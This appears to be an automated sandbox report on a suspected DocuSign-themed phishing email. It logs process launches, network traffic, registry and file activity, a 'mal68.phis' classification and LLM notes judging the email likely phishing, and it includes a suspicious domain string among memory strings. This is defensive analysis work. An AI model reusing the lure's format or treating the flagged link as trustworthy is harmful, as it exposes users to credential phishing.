Source: chromecache_225.6.dr String found in binary or memory: https://wdk-agent-2.docusigntest.com/#Signing/Controllers/MonitoringController.cs
Source: ~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp.0.dr String found in binary or memory: https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat
Source: chromecache_272.6.dr String found in binary or memory: https://x.com/flifeserieso.ru
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49874 version: TLS 1.2
Source: classification engine Classification label: mal68.phis.winEML@20/248@46/15
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Complete with Docusign_ Remittance Advice .pdf(1).eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B015F3D5-ACDB-4645-B3DB-CECD105E71F8" "390A14B3-E248-49BF-B53B-CC50CDF4E487" "4212" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1928,i,2976347971285413833,15598093970115178483,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B015F3D5-ACDB-4645-B3DB-CECD105E71F8" "390A14B3-E248-49BF-B53B-CC50CDF4E487" "4212" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1928,i,2976347971285413833,15598093970115178483,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: c2r64.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32 Jump to behavior
Source: Google Drive.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common Jump to behavior

Persistence and Installation Behavior
barindex
AI detected landing page (webpage, office document or email)
Source: Email LLM: Page contains button: 'REVIEW DOCUMENT' Source: 'Email'
Source: Email LLM: Email contains prominent button: 'review document'
AI detected potential phishing Email
Source: Email LLM: Detected potential phishing email: The sender's email domain 'docusign.net' appears legitimate, but the format 'via Docusign' is suspicious
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk Jump to behavior
Stores large binary data to the registry
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1 Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File Volume queried: C:\Windows\SysWOW64 FullSizeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information queried: ProcessInformation Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
